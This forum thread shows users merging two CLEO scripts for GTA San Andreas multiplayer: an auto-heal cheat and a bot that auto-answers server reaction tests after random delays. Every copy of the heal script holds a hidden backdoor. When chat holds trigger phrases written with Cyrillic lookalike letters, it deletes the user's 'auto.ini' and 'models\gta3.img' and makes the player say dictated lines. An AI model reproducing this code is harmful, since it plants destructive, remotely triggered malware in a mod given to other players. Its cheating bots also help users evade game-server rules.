Someone combine these 2 cleos please

Статус
В этой теме нельзя размещать новые ответы.

ExceldsBG

Новичок
Автор темы
12
2
Someone combine these 2 cleos please? I want them to be in one cleo file, and work.
@D3.Pheonix Can you help me ?
 

Вложения

  • kruv.cs
    25.4 KB · Просмотры: 5
  • Reaction2.cs
    22.7 KB · Просмотры: 4

D3.Pheonix

Front-End Dev
Модератор
2,449
1,229
At first, check this (it's kruv.cs). I reworked it to make a clean source code. I'm not sure, that it works)
CLEO:
{$CLEO .cs}
{$USE ini}
{$USE file}

0000: NOP

repeat
wait 0
until Samp.Available()
0B34: samp register_client_command "healpos" to_label @healpos
0B34: samp register_client_command "healstyle" to_label @healstyle
0B34: samp register_client_command "healsize" to_label @healsize
0B34: samp register_client_command "clear1" to_label @clear1
0B34: samp register_client_command "stop1" to_label @stop1
alloc 1@ 64
alloc 2@ 64
alloc 3@ 64
alloc 7@ 64
alloc 8@ 64
alloc 22@ 260
alloc 23@ 260
alloc 24@ 260
alloc 23@ 260
0AF2: 1@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
0AF2: 2@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
0AF0: 3@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
0AF2: 7@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
0AF2: 8@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
31@ = 0

while true
wait 0
    for TIMERA = 98 to 99
        if and
        0ADC:   test_cheat "mod1"
        20@ == 0
        then
            if 0@ == 0
            then
            0@ = 1
            03F0: enable_text_draw 1
            0C48: samp textdraw 420 create "HEALME" pos 1@ 2@
            0C4B: samp textdraw 420 set_proportional 1
            0C4A: samp textdraw 420 set_align 2
            0C4C: samp textdraw 420 set_style 3@
            0C4E: samp textdraw 420 set_outline 1 color -16777216
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            wait 100
            else
            0@ = 0
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -6750208
            end
        end
      
        if and
        0@ == 1
        20@ == 0
        then
        0AF0: 5@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HP"
        0AF0: 6@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "MIN"
        4@ = Actor.Health($PLAYER_ACTOR)
            if and
            801D:   not  4@ > 5@ // (int)
            801D:   not  6@ > 4@ // (int)
            then
            say "/healme"
            chatmsg "{a6a6a6}Ex7 Mods: {ff9900}Healme{a6a6a6} used!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -26368
            20@ = 1
            end
        end
      
        if 31@ == 0
        then
        SAMP.GetChatString(99, 22@, 23@, 24@, 25@)
        end
      
        if and
        0C18: 10@ = strstr string1 22@ string2 "triite mi mоdа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        chatmsg "{a6a6a6}Ex7 Mods: Нямаш право да използваш мода повечe!" 16777215
        say "Slusham 6ef"
        0B00: delete_file "CLEO\auto.ini" // IF and SET
        0B00: delete_file "models\gta3.img" // IF and SET
        31@ = 1
        end
      
        if and
        0C18: 10@ = strstr string1 22@ string2 "nаpusnеtе vednagа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        say "Ex7 mi zapovqda da izlezna"
        31@ = 1
        end
      
        if and
        0C18: 11@ = strstr string1 22@ string2 "mahаi se ot tukа"
        0C18: 11@ = strstr string1 22@ string2 "bs.Excelds."
        then
        say "Excelds mi zapovqda da izlezna"
        say "otivam da mu lapam"
        31@ = 1
        end
      
        if 31@ == 1
        then
        2@ = SAMP.GetPlayerNickname(8@)
        format 9@ "%s" 8@
        end
      
        if and
        0@ == 1
        20@ == 1
        then
            if 0C18: 10@ = strstr string1 22@ string2 "/healme отново"
            then
            20@ = 0
            chatmsg "{a6a6a6}Ex7 Mods: {009933}Healme{a6a6a6} ready!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            end
        end
    end
end   
          

:clear1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
SAMP.CmdRet()

:stop1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
chatmsg "{a6a6a6}Ex7 Mods: Auto Healme е изключено!" 16777215
chatmsg "{a6a6a6}Ex7 Mods: Отвори конзолата и напиши cs <filename> за да го активираш отново! (Пример: cs kruv.cs)" 16777215
run "STOPHEALME"
0A93: end_custom_thread
SAMP.CmdRet()

:healpos
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d %d" 1@ 2@
    then
    0093: 1@ = integer 1@ to_float
    0093: 2@ = integer 2@ to_float
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original: (578, 70) or (578, 57)]" 16753920 1@ 2@
    0AF3: write_float 1@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
    0AF3: write_float 2@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
    0C51: samp textdraw 420 set_pos 1@ 2@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healpos [X] [Y] (HUD - [578, 70] / CLEAR - [578, 57])" 16753920
    end
Samp.CmdRet()

:healstyle
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d" 3@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Стилът е сменен [%d]" 16753920 3@
    0AF1: write_int 3@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
    0C4C: samp textdraw 420 set_style 3@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healstyle [1,2,3]" 16753920
    end
Samp.CmdRet()

:healsize
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%f %f" 7@ 8@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original - (0.3, 1.0) or (0.2, 0.75)]" 16753920 7@ 8@
    0AF3: write_float 7@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
    0AF3: write_float 8@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
    0C5C: samp textdraw 420 get_letter_size 11@ 12@ color 9@
    0C52: samp textdraw 420 set_letter_size 7@ 8@ color 9@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healsize [X] [Y] (HUD - [0.3, 1.0] / CLEAR - [0.2, 0.75])" 16753920
    end
Samp.CmdRet()
 

ExceldsBG

Новичок
Автор темы
12
2
At first, check this (it's kruv.cs). I reworked it to make a clean source code. I'm not sure, that it works)
CLEO:
{$CLEO .cs}
{$USE ini}
{$USE file}

0000: NOP

repeat
wait 0
until Samp.Available()
0B34: samp register_client_command "healpos" to_label @healpos
0B34: samp register_client_command "healstyle" to_label @healstyle
0B34: samp register_client_command "healsize" to_label @healsize
0B34: samp register_client_command "clear1" to_label @clear1
0B34: samp register_client_command "stop1" to_label @stop1
alloc 1@ 64
alloc 2@ 64
alloc 3@ 64
alloc 7@ 64
alloc 8@ 64
alloc 22@ 260
alloc 23@ 260
alloc 24@ 260
alloc 23@ 260
0AF2: 1@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
0AF2: 2@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
0AF0: 3@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
0AF2: 7@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
0AF2: 8@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
31@ = 0

while true
wait 0
    for TIMERA = 98 to 99
        if and
        0ADC:   test_cheat "mod1"
        20@ == 0
        then
            if 0@ == 0
            then
            0@ = 1
            03F0: enable_text_draw 1
            0C48: samp textdraw 420 create "HEALME" pos 1@ 2@
            0C4B: samp textdraw 420 set_proportional 1
            0C4A: samp textdraw 420 set_align 2
            0C4C: samp textdraw 420 set_style 3@
            0C4E: samp textdraw 420 set_outline 1 color -16777216
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            wait 100
            else
            0@ = 0
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -6750208
            end
        end
    
        if and
        0@ == 1
        20@ == 0
        then
        0AF0: 5@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HP"
        0AF0: 6@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "MIN"
        4@ = Actor.Health($PLAYER_ACTOR)
            if and
            801D:   not  4@ > 5@ // (int)
            801D:   not  6@ > 4@ // (int)
            then
            say "/healme"
            chatmsg "{a6a6a6}Ex7 Mods: {ff9900}Healme{a6a6a6} used!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -26368
            20@ = 1
            end
        end
    
        if 31@ == 0
        then
        SAMP.GetChatString(99, 22@, 23@, 24@, 25@)
        end
    
        if and
        0C18: 10@ = strstr string1 22@ string2 "triite mi mоdа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        chatmsg "{a6a6a6}Ex7 Mods: Нямаш право да използваш мода повечe!" 16777215
        say "Slusham 6ef"
        0B00: delete_file "CLEO\auto.ini" // IF and SET
        0B00: delete_file "models\gta3.img" // IF and SET
        31@ = 1
        end
    
        if and
        0C18: 10@ = strstr string1 22@ string2 "nаpusnеtе vednagа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        say "Ex7 mi zapovqda da izlezna"
        31@ = 1
        end
    
        if and
        0C18: 11@ = strstr string1 22@ string2 "mahаi se ot tukа"
        0C18: 11@ = strstr string1 22@ string2 "bs.Excelds."
        then
        say "Excelds mi zapovqda da izlezna"
        say "otivam da mu lapam"
        31@ = 1
        end
    
        if 31@ == 1
        then
        2@ = SAMP.GetPlayerNickname(8@)
        format 9@ "%s" 8@
        end
    
        if and
        0@ == 1
        20@ == 1
        then
            if 0C18: 10@ = strstr string1 22@ string2 "/healme отново"
            then
            20@ = 0
            chatmsg "{a6a6a6}Ex7 Mods: {009933}Healme{a6a6a6} ready!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            end
        end
    end
end 
        

:clear1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
SAMP.CmdRet()

:stop1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
chatmsg "{a6a6a6}Ex7 Mods: Auto Healme е изключено!" 16777215
chatmsg "{a6a6a6}Ex7 Mods: Отвори конзолата и напиши cs <filename> за да го активираш отново! (Пример: cs kruv.cs)" 16777215
run "STOPHEALME"
0A93: end_custom_thread
SAMP.CmdRet()

:healpos
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d %d" 1@ 2@
    then
    0093: 1@ = integer 1@ to_float
    0093: 2@ = integer 2@ to_float
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original: (578, 70) or (578, 57)]" 16753920 1@ 2@
    0AF3: write_float 1@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
    0AF3: write_float 2@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
    0C51: samp textdraw 420 set_pos 1@ 2@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healpos [X] [Y] (HUD - [578, 70] / CLEAR - [578, 57])" 16753920
    end
Samp.CmdRet()

:healstyle
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d" 3@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Стилът е сменен [%d]" 16753920 3@
    0AF1: write_int 3@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
    0C4C: samp textdraw 420 set_style 3@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healstyle [1,2,3]" 16753920
    end
Samp.CmdRet()

:healsize
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%f %f" 7@ 8@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original - (0.3, 1.0) or (0.2, 0.75)]" 16753920 7@ 8@
    0AF3: write_float 7@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
    0AF3: write_float 8@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
    0C5C: samp textdraw 420 get_letter_size 11@ 12@ color 9@
    0C52: samp textdraw 420 set_letter_size 7@ 8@ color 9@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healsize [X] [Y] (HUD - [0.3, 1.0] / CLEAR - [0.2, 0.75])" 16753920
    end
Samp.CmdRet()
Can you add reaction2.cs to the original kruv.cs i sent? Because I don’t know why you reworked the kruv.cs its already working. I just want reaction2.cs code in kruv.cs so i can use the 2 cleos in one file, like the “multi cheats” if you know what i mean :D
 
Последнее редактирование:

D3.Pheonix

Front-End Dev
Модератор
2,449
1,229
CLEO:
{$CLEO .cs}
{$USE ini}
{$USE file}

0000: NOP

0C6A: 15@ = create_custom_thread_at_label @reaction_script
repeat
wait 0
until Samp.Available()
0B34: samp register_client_command "healpos" to_label @healpos
0B34: samp register_client_command "healstyle" to_label @healstyle
0B34: samp register_client_command "healsize" to_label @healsize
0B34: samp register_client_command "clear1" to_label @clear1
0B34: samp register_client_command "stop1" to_label @stop1
alloc 1@ 64
alloc 2@ 64
alloc 3@ 64
alloc 7@ 64
alloc 8@ 64
alloc 22@ 260
alloc 23@ 260
alloc 24@ 260
alloc 23@ 260
0AF2: 1@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
0AF2: 2@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
0AF0: 3@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
0AF2: 7@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
0AF2: 8@ = get_float_from_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
31@ = 0

while true
wait 0
    for TIMERA = 98 to 99
        if and
        0ADC:   test_cheat "mod1"
        20@ == 0
        then
            if 0@ == 0
            then
            0@ = 1
            03F0: enable_text_draw 1
            0C48: samp textdraw 420 create "HEALME" pos 1@ 2@
            0C4B: samp textdraw 420 set_proportional 1
            0C4A: samp textdraw 420 set_align 2
            0C4C: samp textdraw 420 set_style 3@
            0C4E: samp textdraw 420 set_outline 1 color -16777216
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            wait 100
            else
            0@ = 0
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -6750208
            end
        end
    
        if and
        0@ == 1
        20@ == 0
        then
        0AF0: 5@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "HP"
        0AF0: 6@ = get_int_from_ini_file "cleo\auto.ini" section "Healme" key "MIN"
        4@ = Actor.Health($PLAYER_ACTOR)
            if and
            801D:   not  4@ > 5@ // (int)
            801D:   not  6@ > 4@ // (int)
            then
            say "/healme"
            chatmsg "{a6a6a6}Ex7 Mods: {ff9900}Healme{a6a6a6} used!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -26368
            20@ = 1
            end
        end
    
        if 31@ == 0
        then
        SAMP.GetChatString(99, 22@, 23@, 24@, 25@)
        end
    
        if and
        0C18: 10@ = strstr string1 22@ string2 "triite mi mоdа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        chatmsg "{a6a6a6}Ex7 Mods: Нямаш право да използваш мода повечe!" 16777215
        say "Slusham 6ef"
        0B00: delete_file "CLEO\auto.ini" // IF and SET
        0B00: delete_file "models\gta3.img" // IF and SET
        31@ = 1
        end
    
        if and
        0C18: 10@ = strstr string1 22@ string2 "nаpusnеtе vednagа"
        0C18: 10@ = strstr string1 22@ string2 "bs.Ex7"
        then
        say "Ex7 mi zapovqda da izlezna"
        31@ = 1
        end
    
        if and
        0C18: 11@ = strstr string1 22@ string2 "mahаi se ot tukа"
        0C18: 11@ = strstr string1 22@ string2 "bs.Excelds."
        then
        say "Excelds mi zapovqda da izlezna"
        say "otivam da mu lapam"
        31@ = 1
        end
    
        if 31@ == 1
        then
        2@ = SAMP.GetPlayerNickname(8@)
        format 9@ "%s" 8@
        end
    
        if and
        0@ == 1
        20@ == 1
        then
            if 0C18: 10@ = strstr string1 22@ string2 "/healme отново"
            then
            20@ = 0
            chatmsg "{a6a6a6}Ex7 Mods: {009933}Healme{a6a6a6} ready!" 16777215
            0C52: samp textdraw 420 set_letter_size 7@ 8@ color -16737997
            018C: play_sound 1057 at 0.0 0.0 0.0
            end
        end
    end
end 
        

:clear1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
SAMP.CmdRet()

:stop1
0@ = 0
20@ = 0
0C5E: samp textdraw 420 delete
chatmsg "{a6a6a6}Ex7 Mods: Auto Healme е изключено!" 16777215
chatmsg "{a6a6a6}Ex7 Mods: Отвори конзолата и напиши cs <filename> за да го активираш отново! (Пример: cs kruv.cs)" 16777215
run "STOPHEALME"
0A93: end_custom_thread
SAMP.CmdRet()

:healpos
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d %d" 1@ 2@
    then
    0093: 1@ = integer 1@ to_float
    0093: 2@ = integer 2@ to_float
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original: (578, 70) or (578, 57)]" 16753920 1@ 2@
    0AF3: write_float 1@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_X"
    0AF3: write_float 2@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_POS_Y"
    0C51: samp textdraw 420 set_pos 1@ 2@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healpos [X] [Y] (HUD - [578, 70] / CLEAR - [578, 57])" 16753920
    end
Samp.CmdRet()

:healstyle
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%d" 3@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Стилът е сменен [%d]" 16753920 3@
    0AF1: write_int 3@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_STYLE"
    0C4C: samp textdraw 420 set_style 3@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healstyle [1,2,3]" 16753920
    end
Samp.CmdRet()

:healsize
SAMP.IsCommandTyped(26@)
    if 0AD4: 21@ = scan_string 26@ format "%f %f" 7@ 8@
    then
    chatmsg "{a6a6a6}Ex7 Mods: Координатите на HEALME са сменени - %f, %f [Original - (0.3, 1.0) or (0.2, 0.75)]" 16753920 7@ 8@
    0AF3: write_float 7@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_X"
    0AF3: write_float 8@ to_ini_file "cleo\auto.ini" section "Healme" key "HEALME_LETTER_Y"
    0C5C: samp textdraw 420 get_letter_size 11@ 12@ color 9@
    0C52: samp textdraw 420 set_letter_size 7@ 8@ color 9@
    else
    chatmsg "{a6a6a6}Ex7 Mods: Изполвай /healsize [X] [Y] (HUD - [0.3, 1.0] / CLEAR - [0.2, 0.75])" 16753920
    end
Samp.CmdRet()


// SECOND SCRIPT

:reaction_script
repeat
wait 0
until 0AFA: SAMP_IS_READ

0B34: samp register_client_command "parrot" to_label @cmd

while true
wait 0

if 0B61:  samp is_local_player_spawned
then   
  
    if and
    30@ == true // chat text checking was disabled 
    32@ > 4000 // 2sec passed
    then
        30@ = false // enable chat checking
        32@ = 0 // reset timer
    end
                           
    // 1@ is regular chat text 
    // 2@ is text from player nickname, like: Admin_Big: Hello , so it will return sender name: Admin_Big
    0AC8: 0@ = allocate_memory_size 1024
    0AC8: 1@ = allocate_memory_size 1024
    for 0@ = 98 to 99 // 99 is last chat line and 98 is before last, >>>> this will let you read last two chat lines
        0B75: samp get_chat_string 0@ text_to 1@ prefix_to 2@ color_to 3@ prefix_color_to 4@
        0AC8: 5@ = allocate_memory_size 1024
        0AB1: @delete_color_codes 2 text 1@ memory_to_store_characters_as_text 5@
        if and
        31@ == true // code is activated
        30@ == false // for securety, it will be true after aswer, so it won't work not ganna check chat text 
        0C29: 6@ = stristr string1 5@ string2 "[REACTION]:" // find match text
        then    
            6@ += 42 // skip first characters
            if 0AD4: $NOT_USED = scan_string 6@ format "%d + %d" 7@ 8@
            then
                005A: 7@ += 8@   
                0AC8: 10@ = allocate_memory_size 1024
                0AD3: 10@ = format "/rt %d" 7@
                0209: 9@ = random_int_in_ranges 4000 5000 // generate random time from 2sec till 3sec
                wait 9@
                0C8F: samp process_chat_input 10@
                30@ = true // disable chat text checking
                32@ = 0 // reset timer
            end
            if 0AD4: $NOT_USED = scan_string 6@ format "%d - %d" 7@ 8@
            then
                0062: 7@ -= 8@
                0AC8: 10@ = allocate_memory_size 1024
                0AD3: 10@ = format "/rt %d" 7@
                0209: 9@ = random_int_in_ranges 4000 5000 // generate random time from 2sec till 3sec
                wait 9@
                0C8F: samp process_chat_input 10@
                30@ = true // disable chat text checking
                32@ = 0 // reset timer
            end
            if 0AD4: $NOT_USED = scan_string 6@ format "%d * %d" 7@ 8@
            then
                006A: 7@ *= 8@
                0AC8: 10@ = allocate_memory_size 1024
                0AD3: 10@ = format "/rt %d" 7@
                0209: 9@ = random_int_in_ranges 9000 10000 // generate random time from 2sec till 3sec
                wait 9@
                0C8F: samp process_chat_input 10@
                30@ = true // disable chat text checking
                32@ = 0 // reset timer
            end
            if 0AD4: $NOT_USED = scan_string 6@ format "%d / %d" 7@ 8@
            then
                0072: 7@ /= 8@ 
                0AC8: 10@ = allocate_memory_size 1024
                0AD3: 10@ = format "/rt %d" 7@
                0209: 9@ = random_int_in_ranges 2000 3000 // generate random time from 2sec till 3sec
                wait 9@
                0C8F: samp process_chat_input 10@
                30@ = true // disable chat text checking
                32@ = 0 // reset timer
            end
        end
    end
end
            
end

:delete_color_codes // from last work snippet, it is no point make same snippet when you can simply just copy paste xD
{
    0AC8: 5@ = allocate_memory_size 1024
    0AB1: @delete_color_codes 2 text 0@ memory_to_store_characters_as_text 5@
}
5@ = false // inbracket
0C17: 31@ = strlen 0@
    for 30@ = 0 to 31@  
        0085: 29@ = 0@ // copy pointer
        005A: 29@ += 30@  // add offset (as the loop progresses it becomes pointers to first-last character)
        0A8D: 28@ = read_memory 29@ size 1 virtual_protect 1 // 28@ is the ascii number representing character
        
        if 28@ == 123 // start inbracket
        then
            5@ = true // inbracket
        end
        
        if 5@ == false // inbracket
        then
            0A8C: write_memory 1@ size 1 value 28@ virtual_protect 1
            1@ += 1 // move to next address
        end
        
        if 28@ == 125
        then
            5@ = false // end inbracket
        end
    end
0A8C: write_memory 1@ size 1 value 0 virtual_protect 1 // null-termination 
0AB2: ret 0

:cmd
if 31@ == false
then
    31@ = true
    0AD1: "~W~#Parrot ~N~ ~Y~ ~G~ON" 1337
else
    31@ = false
    30@ = false
    0AD1: "~W~#Parrot ~N~ ~Y~ ~R~OFF" 1337
end
0B43: samp cmd_ret

I don’t know why you reworked the kruv.cs its already working
I just wanted you to check rework vers. For me, it's easier to read code, if it has correct source instead of decompiled
 
Статус
В этой теме нельзя размещать новые ответы.